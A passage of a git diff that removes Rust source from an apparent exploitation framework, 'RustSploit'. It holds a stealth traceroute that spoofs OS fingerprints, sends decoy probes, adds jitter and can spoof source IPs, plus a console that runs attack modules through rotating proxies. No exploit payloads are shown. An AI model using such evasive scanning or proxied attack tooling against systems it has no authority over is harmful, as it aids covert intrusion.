||||
.yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -1,444 +0,0 @@
|
||||
use pnet_packet::ip::IpNextHeaderProtocols;
|
||||
use pnet_packet::ipv4::{self, MutableIpv4Packet};
|
||||
use pnet_packet::icmp::{self, echo_request, echo_reply, IcmpTypes};
|
||||
use pnet_packet::udp::{self, MutableUdpPacket};
|
||||
use pnet_packet::tcp::{self, MutableTcpPacket, TcpFlags};
|
||||
use pnet_packet::Packet;
|
||||
use pnet_packet::icmp::IcmpPacket;
|
||||
use std::sync::Arc;
|
||||
|
||||
use rand::Rng;
|
||||
use rand::distr::Alphanumeric;
|
||||
|
||||
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use std::io::{stdin, stdout, Write};
|
||||
|
||||
|
||||
use tokio::time::{Instant, Duration};
|
||||
use tokio::task;
|
||||
|
||||
use socket2::{Domain, Protocol, Socket, Type};
|
||||
|
||||
use colored::*;
|
||||
|
||||
use anyhow::{Result, Context, bail};
|
||||
|
||||
use std::mem::MaybeUninit;
|
||||
|
||||
const IPV4_FLAG_DF: u16 = 2;
|
||||
|
||||
|
||||
const USE_RANDOM_OS_SIG: bool = true;
|
||||
const SPOOF_SRC_IP_CONFIG: Option<&str> = None;
|
||||
const JITTER_RANGE: (f32, f32) = (0.2, 1.1);
|
||||
const MAX_TTL: u8 = 30;
|
||||
const PROBE_COUNT: usize = 3;
|
||||
const DECOY_PROB: f64 = 0.35;
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
struct OsSignatureParams {
|
||||
id: u16,
|
||||
tos: u8,
|
||||
df_flag: bool,
|
||||
}
|
||||
|
||||
fn generate_os_signature() -> OsSignatureParams {
|
||||
let mut rng = rand::rng();
|
||||
if !USE_RANDOM_OS_SIG {
|
||||
return OsSignatureParams {
|
||||
id: rng.random(),
|
||||
tos: 0,
|
||||
df_flag: false,
|
||||
};
|
||||
}
|
||||
|
||||
let sigs = [
|
||||
OsSignatureParams { id: rng.random_range(0x4000..=0xffff), tos: 0, df_flag: true },
|
||||
OsSignatureParams { id: rng.random(), tos: 0, df_flag: false },
|
||||
OsSignatureParams { id: rng.random(), tos: 0, df_flag: true },
|
||||
OsSignatureParams { id: rng.random(), tos: 0x10, df_flag: false },
|
||||
];
|
||||
sigs[rng.random_range(0..sigs.len())].clone()
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq)]
|
||||
enum ProbeProtocolType {
|
||||
Icmp,
|
||||
Udp,
|
||||
Tcp,
|
||||
}
|
||||
|
||||
impl ProbeProtocolType {
|
||||
fn to_ip_next_header_protocol(&self) -> pnet_packet::ip::IpNextHeaderProtocol {
|
||||
match self {
|
||||
ProbeProtocolType::Icmp => IpNextHeaderProtocols::Icmp,
|
||||
ProbeProtocolType::Udp => IpNextHeaderProtocols::Udp,
|
||||
ProbeProtocolType::Tcp => IpNextHeaderProtocols::Tcp,
|
||||
}
|
||||
}
|
||||
|
||||
fn to_string_lc(&self) -> String {
|
||||
match self {
|
||||
ProbeProtocolType::Icmp => "icmp".to_string(),
|
||||
ProbeProtocolType::Udp => "udp".to_string(),
|
||||
ProbeProtocolType::Tcp => "tcp".to_string(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct ReceivedIcmpInfo {
|
||||
icmp_type: u8,
|
||||
description: String,
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct ProbeSingleResponse {
|
||||
source_ip: Ipv4Addr,
|
||||
rtt_ms: f32,
|
||||
icmp_info: ReceivedIcmpInfo,
|
||||
probe_protocol_used: String,
|
||||
}
|
||||
|
||||
fn craft_probe_packet(
|
||||
dst_ip: Ipv4Addr,
|
||||
current_ttl: u8,
|
||||
src_ip_override: Option<Ipv4Addr>,
|
||||
icmp_id_val: u16,
|
||||
icmp_seq_val: u16,
|
||||
) -> Result<(Vec<u8>, ProbeProtocolType, OsSignatureParams)> {
|
||||
const IPV4_HEADER_LEN: usize = 20;
|
||||
|
||||
let mut rng = rand::rng();
|
||||
let sig = generate_os_signature();
|
||||
|
||||
let mut protocol_type = ProbeProtocolType::Icmp;
|
||||
if rng.random_bool(DECOY_PROB) {
|
||||
protocol_type = if rng.random_bool(0.5) {
|
||||
ProbeProtocolType::Udp
|
||||
} else {
|
||||
ProbeProtocolType::Tcp
|
||||
};
|
||||
}
|
||||
|
||||
let payload_size = rng.random_range(24..=56);
|
||||
let payload: Vec<u8> = rng.clone()
|
||||
.sample_iter(&Alphanumeric)
|
||||
.take(payload_size)
|
||||
.map(|c| c as u8)
|
||||
.collect();
|
||||
|
||||
let (transport_header_len, transport_packet_data) = match protocol_type {
|
||||
ProbeProtocolType::Icmp => {
|
||||
let mut buf = vec![0u8; 8 + payload.len()];
|
||||
let mut pkt = echo_request::MutableEchoRequestPacket::new(&mut buf).unwrap();
|
||||
pkt.set_icmp_type(IcmpTypes::EchoRequest);
|
||||
pkt.set_icmp_code(echo_request::IcmpCodes::NoCode);
|
||||
pkt.set_identifier(icmp_id_val);
|
||||
pkt.set_sequence_number(icmp_seq_val);
|
||||
pkt.set_payload(&payload);
|
||||
let view = IcmpPacket::new(pkt.packet()).unwrap();
|
||||
pkt.set_checksum(icmp::checksum(&view));
|
||||
(buf.len(), buf)
|
||||
}
|
||||
ProbeProtocolType::Udp => {
|
||||
let mut buf = vec![0u8; 8 + payload.len()];
|
||||
let mut pkt = MutableUdpPacket::new(&mut buf).unwrap();
|
||||
pkt.set_source(rng.random_range(33434..=65535));
|
||||
pkt.set_destination(rng.random_range(33434..=65535));
|
||||
pkt.set_length((8 + payload.len()) as u16);
|
||||
pkt.set_payload(&payload);
|
||||
let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0));
|
||||
pkt.set_checksum(udp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip));
|
||||
(buf.len(), buf)
|
||||
}
|
||||
ProbeProtocolType::Tcp => {
|
||||
let mut buf = vec![0u8; 20 + payload.len()];
|
||||
let mut pkt = MutableTcpPacket::new(&mut buf).unwrap();
|
||||
pkt.set_source(rng.random_range(33434..=65535));
|
||||
pkt.set_destination(rng.random_range(33434..=65535));
|
||||
pkt.set_sequence(rng.random());
|
||||
pkt.set_acknowledgement(0);
|
||||
pkt.set_data_offset(5);
|
||||
pkt.set_flags(TcpFlags::SYN);
|
||||
pkt.set_window(rng.random_range(1024..=65535));
|
||||
pkt.set_urgent_ptr(0);
|
||||
pkt.set_payload(&payload);
|
||||
let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0));
|
||||
pkt.set_checksum(tcp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip));
|
||||
(buf.len(), buf)
|
||||
}
|
||||
};
|
||||
|
||||
let total_len = (IPV4_HEADER_LEN + transport_header_len) as u16;
|
||||
let mut ip_buf = vec![0u8; total_len as usize];
|
||||
|
||||
let src_ip = src_ip_override
|
||||
.or_else(|| SPOOF_SRC_IP_CONFIG.map(str::parse).transpose().unwrap())
|
||||
.unwrap_or(Ipv4Addr::new(0,0,0,0));
|
||||
|
||||
{
|
||||
let mut ip = MutableIpv4Packet::new(&mut ip_buf).unwrap();
|
||||
ip.set_version(4);
|
||||
ip.set_header_length(5);
|
||||
ip.set_total_length(total_len);
|
||||
ip.set_identification(sig.id);
|
||||
ip.set_ttl(current_ttl);
|
||||
ip.set_next_level_protocol(protocol_type.to_ip_next_header_protocol());
|
||||
ip.set_source(src_ip);
|
||||
ip.set_destination(dst_ip);
|
||||
ip.set_dscp(sig.tos >> 2);
|
||||
ip.set_ecn(sig.tos & 0x03);
|
||||
let mut flags = 0;
|
||||
if sig.df_flag {
|
||||
flags |= IPV4_FLAG_DF;
|
||||
}
|
||||
ip.set_flags(flags.try_into().unwrap());
|
||||
ip.set_payload(&transport_packet_data);
|
||||
ip.set_checksum(ipv4::checksum(&ip.to_immutable()));
|
||||
}
|
||||
|
||||
Ok((ip_buf, protocol_type, sig))
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
async fn send_and_receive_one(
|
||||
target_final_dst_ip: Ipv4Addr,
|
||||
probe_packet_bytes: &[u8],
|
||||
probe_protocol: ProbeProtocolType,
|
||||
probe_ip_id: u16,
|
||||
probe_icmp_echo_id: u16,
|
||||
probe_icmp_echo_seq: u16,
|
||||
timeout: Duration,
|
||||
) -> Result<Option<ProbeSingleResponse>> {
|
||||
let sender_socket = Socket::new(
|
||||
Domain::IPV4,
|
||||
Type::RAW,
|
||||
Some(Protocol::from(libc::IPPROTO_RAW)),
|
||||
)
|
||||
.context("Failed to create sender raw socket")?;
|
||||
sender_socket
|
||||
.set_header_included_v4(true)
|
||||
.context("Failed to set IP_HDRINCL on sender socket")?;
|
||||
|
||||
let receiver_socket = Arc::new(
|
||||
Socket::new(Domain::IPV4, Type::RAW, Some(Protocol::ICMPV4))
|
||||
.context("Failed to create receiver raw socket for ICMP")?,
|
||||
);
|
||||
receiver_socket
|
||||
.set_read_timeout(Some(Duration::from_millis(200)))
|
||||
.context("Failed to set read timeout on receiver socket")?;
|
||||
|
||||
let dst_addr = SocketAddr::new(IpAddr::V4(target_final_dst_ip), 0);
|
||||
sender_socket
|
||||
.send_to(probe_packet_bytes, &dst_addr.into())
|
||||
.context("Failed to send raw IP packet")?;
|
||||
|
||||
let start = Instant::now();
|
||||
loop {
|
||||
if start.elapsed() >= timeout {
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
let sock_clone = receiver_socket.try_clone().expect("Socket clone failed");
|
||||
let recv = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
|
||||
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
|
||||
match sock_clone.recv_from(&mut buf) {
|
||||
Ok((len, addr)) => {
|
||||
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
|
||||
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
|
||||
Ok(Some((slice.to_vec(), sock_addr)))
|
||||
}
|
||||
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
})
|
||||
.await
|
||||
.context("Blocking task for recv_from failed")?;
|
||||
|
||||
if let Some((data, sa)) = recv? {
|
||||
let rtt = start.elapsed().as_secs_f32() * 1000.0;
|
||||
let responder = if let IpAddr::V4(ip) = sa.ip() { ip } else { continue; };
|
||||
|
||||
if let Some(ip_pkt) = ipv4::Ipv4Packet::new(&data) {
|
||||
if ip_pkt.get_next_level_protocol() == IpNextHeaderProtocols::Icmp {
|
||||
if let Some(icmp_pkt) = icmp::IcmpPacket::new(ip_pkt.payload()) {
|
||||
let icmp_type = icmp_pkt.get_icmp_type();
|
||||
let _ = icmp_pkt.get_icmp_code();
|
||||
let mut matched = false;
|
||||
|
||||
if icmp_type == IcmpTypes::TimeExceeded || icmp_type == IcmpTypes::DestinationUnreachable {
|
||||
if let Some(inner) = ipv4::Ipv4Packet::new(icmp_pkt.payload()) {
|
||||
if inner.get_destination() == target_final_dst_ip && inner.get_identification() == probe_ip_id {
|
||||
let proto = inner.get_next_level_protocol();
|
||||
match probe_protocol {
|
||||
ProbeProtocolType::Icmp => {
|
||||
if proto == IpNextHeaderProtocols::Icmp {
|
||||
if let Some(echo_req) = echo_request::EchoRequestPacket::new(inner.payload()) {
|
||||
if echo_req.get_icmp_type() == IcmpTypes::EchoRequest
|
||||
&& echo_req.get_identifier() == probe_icmp_echo_id
|
||||
&& echo_req.get_sequence_number() == probe_icmp_echo_seq
|
||||
{
|
||||
matched = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
ProbeProtocolType::Udp | ProbeProtocolType::Tcp => {
|
||||
if proto == probe_protocol.to_ip_next_header_protocol() {
|
||||
matched = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} else if icmp_type == IcmpTypes::EchoReply && probe_protocol == ProbeProtocolType::Icmp {
|
||||
if let Some(reply) = echo_reply::EchoReplyPacket::new(icmp_pkt.packet()) {
|
||||
if reply.get_identifier() == probe_icmp_echo_id
|
||||
&& reply.get_sequence_number() == probe_icmp_echo_seq
|
||||
&& responder == target_final_dst_ip
|
||||
{
|
||||
matched = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if matched {
|
||||
let desc = match icmp_type {
|
||||
IcmpTypes::EchoReply => "echo-reply".to_string(),
|
||||
IcmpTypes::DestinationUnreachable => "unreachable".to_string(),
|
||||
IcmpTypes::TimeExceeded => "time-exceeded".to_string(),
|
||||
_ => format!("type {}", icmp_type.0),
|
||||
};
|
||||
return Ok(Some(ProbeSingleResponse {
|
||||
source_ip: responder,
|
||||
rtt_ms: rtt,
|
||||
icmp_info: ReceivedIcmpInfo { icmp_type: icmp_type.0, description: desc },
|
||||
probe_protocol_used: probe_protocol.to_string_lc(),
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
}
|
||||
}
|
||||
|
||||
async fn execute_traceroute(target_name: &str) -> Result<()> {
|
||||
println!("{}", format!("[+] Traceroute to {} (max {} hops)", target_name, MAX_TTL).cyan());
|
||||
|
||||
let resolved_ips = tokio::net::lookup_host(format!("{}:0", target_name))
|
||||
.await
|
||||
.with_context(|| format!("Could not resolve target: {}", target_name))?;
|
||||
|
||||
let mut target_ipv4: Option<Ipv4Addr> = None;
|
||||
for sock_addr in resolved_ips {
|
||||
if let IpAddr::V4(ipv4) = sock_addr.ip() {
|
||||
target_ipv4 = Some(ipv4);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
let dst_ip = match target_ipv4 {
|
||||
Some(ip) => ip,
|
||||
None => bail!("Could not resolve {} to an IPv4 address", target_name),
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Resolved {} to {}", target_name, dst_ip).green());
|
||||
|
||||
let src_ip_override_opt: Option<Ipv4Addr> = SPOOF_SRC_IP_CONFIG.map(|s| s.parse().expect("Invalid SPOOF_SRC_IP"));
|
||||
let mut rng = rand::rng();
|
||||
|
||||
for ttl_val in 1..=MAX_TTL {
|
||||
let line_prefix = format!("[TTL={:2}] ", ttl_val).yellow().to_string();
|
||||
let mut ttl_responded = false;
|
||||
|
||||
for _probe_idx in 0..PROBE_COUNT {
|
||||
let icmp_probe_id = rng.random_range(33434..=65535);
|
||||
let icmp_probe_seq = ttl_val as u16;
|
||||
|
||||
let (packet_bytes, protocol_used, os_sig_params) = craft_probe_packet(
|
||||
dst_ip,
|
||||
ttl_val,
|
||||
src_ip_override_opt,
|
||||
icmp_probe_id,
|
||||
icmp_probe_seq,
|
||||
)?;
|
||||
|
||||
let _t0 = Instant::now();
|
||||
let response = send_and_receive_one(
|
||||
dst_ip,
|
||||
&packet_bytes,
|
||||
protocol_used,
|
||||
os_sig_params.id,
|
||||
icmp_probe_id,
|
||||
icmp_probe_seq,
|
||||
Duration::from_secs(2),
|
||||
).await?;
|
||||
|
||||
if let Some(res) = response {
|
||||
ttl_responded = true;
|
||||
let rtt_str = format!("{:.1}ms", res.rtt_ms);
|
||||
|
||||
print!("{}{:<16} ", line_prefix, res.source_ip.to_string().bright_white());
|
||||
print!("{} ", res.icmp_info.description);
|
||||
println!("({}) {}", res.probe_protocol_used.dimmed(), rtt_str);
|
||||
|
||||
if res.source_ip == dst_ip {
|
||||
if res.icmp_info.icmp_type == IcmpTypes::EchoReply.0 ||
|
||||
(res.icmp_info.icmp_type == IcmpTypes::DestinationUnreachable.0 && res.source_ip == dst_ip) {
|
||||
println!("{}", format!("[+] Target reached: {}", res.source_ip).green());
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let jitter_duration = rng.random_range(JITTER_RANGE.0..JITTER_RANGE.1);
|
||||
tokio::time::sleep(Duration::from_secs_f32(jitter_duration)).await;
|
||||
}
|
||||
|
||||
if !ttl_responded {
|
||||
println!("{}{}", line_prefix, "BLOCKED / FILTERED".red().bold());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let mut user_input = String::new();
|
||||
print!("Are you running this as sudo? (yes/no): ");
|
||||
stdout().flush().unwrap();
|
||||
stdin().read_line(&mut user_input).expect("Failed to read line");
|
||||
|
||||
if user_input.trim().to_lowercase() == "yes" {
|
||||
let euid = unsafe { libc::geteuid() };
|
||||
if euid != 0 {
|
||||
println!("don't lie");
|
||||
std::process::exit(1);
|
||||
}
|
||||
} else if user_input.trim().to_lowercase() == "no" {
|
||||
println!("Please run this script as sudo.");
|
||||
std::process::exit(1);
|
||||
} else {
|
||||
println!("Invalid input. Exiting.");
|
||||
std::process::exit(1);
|
||||
}
|
||||
|
||||
println!("by suicidalteddy");
|
||||
println!("github.com/s-b-repo");
|
||||
println!("medium.com/@suicdalteddy/about");
|
||||
|
||||
if target.is_empty() {
|
||||
bail!("No target provided.");
|
||||
}
|
||||
|
||||
execute_traceroute(target).await.map_err(|e| {
|
||||
eprintln!("{}", format!("[-] Error: {}", e).red());
|
||||
e
|
||||
})
|
||||
}
|
||||
-603
@@ -1,603 +0,0 @@
|
||||
use crate::commands;
|
||||
use crate::utils;
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use rand::prelude::*;
|
||||
use std::env;
|
||||
use std::io::{self, Write};
|
||||
use std::collections::HashSet;
|
||||
|
||||
const MAX_INPUT_LENGTH: usize = 4096;
|
||||
const MAX_PROXY_LIST_SIZE: usize = 10_000;
|
||||
const MAX_TARGET_LENGTH: usize = 512;
|
||||
const MAX_COMMAND_CHAIN_LENGTH: usize = 10;
|
||||
|
||||
/// Simple interactive shell context
|
||||
struct ShellContext {
|
||||
current_module: Option<String>,
|
||||
current_target: Option<String>,
|
||||
proxy_list: Vec<String>,
|
||||
proxy_enabled: bool,
|
||||
}
|
||||
|
||||
impl ShellContext {
|
||||
fn new() -> Self {
|
||||
ShellContext {
|
||||
current_module: None,
|
||||
current_target: None,
|
||||
proxy_list: Vec::new(),
|
||||
proxy_enabled: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn interactive_shell() -> Result<()> {
|
||||
println!("Welcome to RustSploit Shell (inspired by RouterSploit)");
|
||||
println!("Type 'help' for a list of commands. Type 'exit' or 'quit' to leave.");
|
||||
|
||||
let mut ctx = ShellContext::new();
|
||||
|
||||
'main_loop: loop {
|
||||
print!("{}", "rsf> ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut raw_input = String::new();
|
||||
io::stdin().read_line(&mut raw_input)?;
|
||||
|
||||
if raw_input.len() > MAX_INPUT_LENGTH {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Input length exceeds {} characters and was ignored.",
|
||||
MAX_INPUT_LENGTH
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
continue;
|
||||
}
|
||||
let trimmed = raw_input.trim();
|
||||
|
||||
if trimmed.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Support command chaining with & separator
|
||||
let commands: Vec<&str> = trimmed
|
||||
.split('&')
|
||||
.map(|s| s.trim())
|
||||
.filter(|s| !s.is_empty())
|
||||
.take(MAX_COMMAND_CHAIN_LENGTH)
|
||||
.collect();
|
||||
|
||||
if trimmed.split('&').count() > MAX_COMMAND_CHAIN_LENGTH {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[!] Command chain exceeds maximum length of {}. Truncating.", MAX_COMMAND_CHAIN_LENGTH)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
|
||||
for cmd_input in commands {
|
||||
if cmd_input.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
match split_command(cmd_input) {
|
||||
Some((cmd, rest)) => {
|
||||
let command_key = resolve_command(&cmd);
|
||||
match command_key.as_str() {
|
||||
"exit" => {
|
||||
println!("Exiting...");
|
||||
clear_proxy_env_vars();
|
||||
break 'main_loop;
|
||||
}
|
||||
"back" => {
|
||||
ctx.current_module = None;
|
||||
ctx.current_target = None;
|
||||
println!("{}", "Cleared current module and target.".green());
|
||||
}
|
||||
"help" => render_help(),
|
||||
"modules" => utils::list_all_modules(),
|
||||
"find" => {
|
||||
if rest.is_empty() {
|
||||
println!("{}", "Usage: find <keyword>".yellow());
|
||||
} else {
|
||||
utils::find_modules(&rest);
|
||||
}
|
||||
}
|
||||
"proxy_load" => {
|
||||
let file_path = if rest.is_empty() {
|
||||
match prompt_for_path("Path to proxy list file: ") {
|
||||
Ok(path) => path,
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Error reading input: {}", e).red());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
rest.to_string()
|
||||
};
|
||||
|
||||
match utils::load_proxies_from_file(&file_path) {
|
||||
Ok(summary) => {
|
||||
let mut unique = HashSet::new();
|
||||
let mut deduped = Vec::new();
|
||||
for proxy in summary.proxies.iter() {
|
||||
if unique.insert(proxy.clone()) {
|
||||
deduped.push(proxy.clone());
|
||||
}
|
||||
}
|
||||
|
||||
if deduped.len() > MAX_PROXY_LIST_SIZE {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Loaded proxy list exceeded {} entries. Truncating.",
|
||||
MAX_PROXY_LIST_SIZE
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
deduped.truncate(MAX_PROXY_LIST_SIZE);
|
||||
}
|
||||
|
||||
let removed = summary.proxies.len().saturating_sub(deduped.len());
|
||||
if removed > 0 {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Removed {} duplicate proxy entr{}.",
|
||||
removed,
|
||||
if removed == 1 { "y" } else { "ies" }
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
}
|
||||
|
||||
ctx.proxy_list = deduped;
|
||||
println!(
|
||||
"Loaded {} proxies from '{}'.",
|
||||
ctx.proxy_list.len(),
|
||||
file_path
|
||||
);
|
||||
|
||||
if !summary.skipped.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"Skipped {} invalid entr{}:",
|
||||
summary.skipped.len(),
|
||||
if summary.skipped.len() == 1 { "y" } else { "ies" }
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
for failure in summary.skipped.iter().take(10) {
|
||||
println!(
|
||||
" [line {}] {} ({})",
|
||||
failure.line_number,
|
||||
failure.content,
|
||||
failure.reason
|
||||
);
|
||||
}
|
||||
if summary.skipped.len() > 10 {
|
||||
println!(
|
||||
" ... {} additional entr{} skipped.",
|
||||
summary.skipped.len() - 10,
|
||||
if summary.skipped.len() - 10 == 1 {
|
||||
"y"
|
||||
} else {
|
||||
"ies"
|
||||
}
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
match prompt_yes_no("Test connectivity of loaded proxies? (recommended)", true) {
|
||||
Ok(true) => {
|
||||
if let Err(e) = test_current_proxies(&mut ctx).await {
|
||||
println!("{}", format!("[!] Proxy testing failed: {}", e).red());
|
||||
}
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Error reading input: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("Failed to load proxies: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
"proxy_on" => {
|
||||
ctx.proxy_enabled = true;
|
||||
println!("Proxy usage enabled.");
|
||||
}
|
||||
"proxy_off" => {
|
||||
ctx.proxy_enabled = false;
|
||||
println!("Proxy usage disabled.");
|
||||
clear_proxy_env_vars();
|
||||
}
|
||||
"proxy_test" => {
|
||||
if let Err(e) = test_current_proxies(&mut ctx).await {
|
||||
println!("{}", format!("[!] Proxy testing failed: {}", e).red());
|
||||
}
|
||||
}
|
||||
"show_proxies" => {
|
||||
if ctx.proxy_list.is_empty() {
|
||||
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
|
||||
} else {
|
||||
println!("Loaded proxies ({}):", ctx.proxy_list.len());
|
||||
for p in &ctx.proxy_list {
|
||||
println!(" {}", p);
|
||||
}
|
||||
}
|
||||
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
|
||||
}
|
||||
"use" => {
|
||||
if rest.is_empty() {
|
||||
println!("{}", "Usage: use <module_path>".yellow());
|
||||
} else if let Some(safe_path) = sanitize_module_path(&rest) {
|
||||
if utils::module_exists(&safe_path) {
|
||||
ctx.current_module = Some(safe_path.clone());
|
||||
println!("{}", format!("Module '{}' selected.", safe_path).green());
|
||||
} else {
|
||||
println!("{}", format!("Module '{}' not found.", rest).red());
|
||||
}
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
"Module path contains invalid characters or traversal attempts."
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
"set" => {
|
||||
if let Some(raw_value) = rest.strip_prefix("target").map(|s| s.trim()) {
|
||||
match sanitize_target(raw_value) {
|
||||
Ok(valid_target) => {
|
||||
ctx.current_target = Some(valid_target.clone());
|
||||
println!("{}", format!("Target set to {}", valid_target).green());
|
||||
}
|
||||
Err(reason) => {
|
||||
println!("{}", format!("[!] {}", reason).yellow());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("{}", "Usage: set target <value>".yellow());
|
||||
}
|
||||
}
|
||||
"run" => {
|
||||
if let Some(ref module_path) = ctx.current_module {
|
||||
if let Some(ref t) = ctx.current_target {
|
||||
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
|
||||
let mut tried_proxies = HashSet::new();
|
||||
let mut success = false;
|
||||
|
||||
while tried_proxies.len() < ctx.proxy_list.len() {
|
||||
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
|
||||
set_all_proxy_env(&chosen_proxy);
|
||||
println!("[*] Using proxy: {}", chosen_proxy);
|
||||
|
||||
println!("Running module '{}' against target '{}'", module_path, t);
|
||||
match commands::run_module(module_path, t).await {
|
||||
Ok(_) => {
|
||||
success = true;
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Module failed with error: {:?}", e);
|
||||
eprintln!(" Retrying with a new proxy...");
|
||||
tried_proxies.insert(chosen_proxy);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !success {
|
||||
println!("[!] All proxies failed. Trying direct connection...");
|
||||
clear_proxy_env_vars();
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Final direct attempt also failed: {:?}", e);
|
||||
}
|
||||
}
|
||||
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
|
||||
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
|
||||
clear_proxy_env_vars();
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
}
|
||||
} else {
|
||||
clear_proxy_env_vars();
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("{}", "No target set. Use 'set target <value>' first.".yellow());
|
||||
}
|
||||
} else {
|
||||
println!("{}", "No module selected. Use 'use <module>' first.".yellow());
|
||||
}
|
||||
}
|
||||
_ => {
|
||||
println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", cmd_input).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
None => {
|
||||
println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", cmd_input).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`.
|
||||
fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
|
||||
let mut rng = rand::rng();
|
||||
let choices: Vec<&String> = proxy_list
|
||||
.iter()
|
||||
.filter(|p| !tried_proxies.contains(*p))
|
||||
.collect();
|
||||
|
||||
if let Some(choice) = choices.choose(&mut rng) {
|
||||
(*choice).clone()
|
||||
} else {
|
||||
// Fallback if all have been tried
|
||||
proxy_list.choose(&mut rng)
|
||||
.map(|s| s.clone())
|
||||
.unwrap_or_else(|| proxy_list[0].clone())
|
||||
}
|
||||
}
|
||||
|
||||
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)
|
||||
fn set_all_proxy_env(proxy: &str) {
|
||||
env::set_var("ALL_PROXY", proxy);
|
||||
}
|
||||
|
||||
/// Clears environment variables for direct connection
|
||||
fn clear_proxy_env_vars() {
|
||||
env::remove_var("ALL_PROXY");
|
||||
env::remove_var("HTTP_PROXY");
|
||||
env::remove_var("HTTPS_PROXY");
|
||||
}
|
||||
|
||||
fn split_command(input: &str) -> Option<(String, String)> {
|
||||
let mut parts = input.splitn(2, char::is_whitespace);
|
||||
let cmd = parts.next()?.to_lowercase();
|
||||
let rest = parts.next().unwrap_or("").trim().to_string();
|
||||
Some((cmd, rest))
|
||||
}
|
||||
|
||||
fn resolve_command(cmd: &str) -> String {
|
||||
match cmd {
|
||||
"?" | "help" | "h" => "help",
|
||||
"modules" | "list" | "ls" | "m" => "modules",
|
||||
"find" | "search" | "f" | "f1" => "find",
|
||||
"proxy_load" | "proxyload" | "pl" | "load_proxy" | "loadproxies" => "proxy_load",
|
||||
"proxy_on" | "pon" | "proxyon" => "proxy_on",
|
||||
"proxy_off" | "poff" | "proxyoff" => "proxy_off",
|
||||
"proxy_test" | "ptest" | "proxycheck" | "check_proxies" => "proxy_test",
